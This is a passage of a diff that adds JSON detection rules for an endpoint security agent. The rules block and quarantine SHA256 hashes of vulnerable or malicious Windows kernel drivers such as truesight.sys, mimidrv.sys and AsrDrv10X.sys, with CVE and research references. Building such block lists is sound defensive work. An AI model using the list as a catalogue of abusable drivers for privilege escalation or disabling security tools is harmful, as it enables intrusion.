+  "value": "854bc946b557ed78c7d40547eb39e293e83942a693c94d0e798d1c4fbde7efa9",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c04061b-eed1-51ed-99ed-fa4a4dfef853",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810362Z",
+  "creation_date": "2026-03-23T11:45:31.810364Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810370Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "087c53edab3309eb60f7663438c24b515818de19702a53bf0e9cf445f12133fd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c0f29bd-c90e-5122-abc2-1799dba648b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455556Z",
+  "creation_date": "2026-03-23T11:45:30.455559Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455568Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76af3f9fa111d694e37058606f2636430bdd378c85b94f426fbfcd6666ebe6cc",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c12a4d2-4f80-540d-aec2-20987bd9183e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824331Z",
+  "creation_date": "2026-03-23T11:45:30.824334Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df276afe1f65f0705c18cf52d37f32e4a3f1ea9ff36fa5fe6012b687da2bebe1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c1398a6-613f-5df0-891c-0507517974a8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499538Z",
+  "creation_date": "2026-03-23T11:45:31.499541Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499549Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "47f7c0b0212d3e5d881d821ab0697aa9beb29da8c67d6d513b51329594063b1c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c145121-9f67-5acd-81bb-f0c02d58b07a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984122Z",
+  "creation_date": "2026-03-23T11:45:29.984124Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984130Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8aba8df5a1aa3f14551047c8c9dea2b2d5867f2ad4dec89b53530c96a13c84db",
+  "comment": "Vulnerable Kernel Driver (aka CupFixerx64.sys) [https://www.loldrivers.io/drivers/c98af16e-197f-4e66-bf94-14646bde32dd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c151a64-55ea-5ea3-a72a-55293b1aefd5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467590Z",
+  "creation_date": "2026-03-23T11:45:30.467593Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467602Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "028011ae3cd1d972b7c46fc8261f583d1fe5dedcef02ee63ee532b3668bfdc25",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c17e236-a3b6-580e-97db-61400a65850c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613563Z",
+  "creation_date": "2026-03-23T11:45:29.613565Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613571Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ac7b3c3b74e6e282c7f50c17a6213b81b181f779cd7c0c78e3cb426c427a98db",
+  "comment": "ASRock vulnerable drivers - Privilege Escalation (aka AsrDrv10X.sys) [CVE-2018-10709] [https://www.exploit-db.com/exploits/45716] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c319db3-903c-5dfd-9650-924206544b1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814494Z",
+  "creation_date": "2026-03-23T11:45:31.814497Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814505Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "530cdaa6c56ba94938ea82a4a2e91b8dfcd5a7a1faac320600cc9f43adf10b3f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c4f5941-bb5e-5617-9618-a728eb262939",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816865Z",
+  "creation_date": "2026-03-23T11:45:30.816867Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816886Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05c15a75d183301382a082f6d76bf3ab4c520bf158abca4433d9881134461686",
+  "comment": "Vulnerable Kernel Driver (aka CP2X72C.SYS) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c5202dd-ebad-56d6-8a6b-e46afc303089",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477581Z",
+  "creation_date": "2026-03-23T11:45:31.477584Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5d160f1e1eb14430974e27e865d58ef410d987a1142409f24f7dfb6bb61ebe03",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c630abb-6e00-5531-a584-7e661688169e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490138Z",
+  "creation_date": "2026-03-23T11:45:31.490140Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490145Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1bc1c957ed632fd4e19c3f39f1e3e73fc9f34e363077329fceaecb36892c6ce3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c6ed26d-3e6b-5f4f-9a34-1cb50f6b1912",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489501Z",
+  "creation_date": "2026-03-23T11:45:31.489504Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489512Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fbcaf228879ba5effe4b49da888e0cf197bcfbce92ecd297c5f756353fd29f40",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c87dc52-db4a-5193-a8fe-8c5af28185cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154519Z",
+  "creation_date": "2026-03-23T11:45:31.154521Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154526Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d2b1e51eaf700909df86108f021961970ec24721b66d3248f64be7f15fc9482f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c8d35fd-cc3f-5564-947f-73cef799bb13",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481615Z",
+  "creation_date": "2026-03-23T11:45:31.481619Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481628Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e1ebac06f8f63c3afd1428849b68ca03567b14fddf79f4cb91561b51a89c025b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3c8daf89-46c4-542d-b6ce-097fa65b32c6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828842Z",
+  "creation_date": "2026-03-23T11:45:30.828844Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828849Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c0744d29a4d956fd34a41e804fe486250ecac8da878fc110ef219d6bcbf294c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3ca41381-7c6d-5b18-9901-76b7c1122871",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.825335Z",
+  "creation_date": "2026-03-23T11:45:31.825339Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.825348Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "95557ce0e6600ff4883577ff18c58379f1276db52aed9af01a6588131e3a5167",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3cabdaf0-8fea-5866-b62f-b75bcaedc76b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980254Z",
+  "creation_date": "2026-03-23T11:45:29.980256Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980262Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0507d893e3fd2917c81c1dc13ccb22ae5402ab6ca9fb8d89485010838050d08d",
+  "comment": "Vulnerable Kernel Driver (aka rzpnk.sys) [https://www.loldrivers.io/drivers/1c6e1d3b-f825-4065-9e0c-83386883e40f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3cb25458-98d1-5b57-9128-f763d166c1e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817286Z",
+  "creation_date": "2026-03-23T11:45:30.817288Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817296Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6fcb7131bc940fc01dc5444a1ae18bf299e92c3155a783629007cf2a61cda9db",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3cbcc79e-794a-5b98-856a-1617552d40b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140294Z",
+  "creation_date": "2026-03-23T11:45:31.140297Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140305Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c712475ca6730e1c1251e30cc137391fae733cc316bb4e09dc9d8cc0943b285",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3cc47fbe-2ec2-515f-94fc-36e53e2a8cc9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618497Z",
+  "creation_date": "2026-03-23T11:45:29.618499Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618504Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "372c6118541efaa800bcba6e0c1780f9beb8cab6f2176bcc5fe3664ea19379e4",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3cd0e340-f49f-587b-89a8-687ad19416ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617989Z",
+  "creation_date": "2026-03-23T11:45:29.617991Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b2ad08123e8ed2516548240cfcdf5eefd89293f31070a6cd3949ee1b66fed14",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "3cd6bd37-264c-5f89-80ad-25bb294db2fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821672Z",
+  "creation_date": "2026-03-23T11:45:31.821674Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821680Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9ce73093c56112af457da031aae34076a633184258a0a0957e28fbb0e7791c6e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
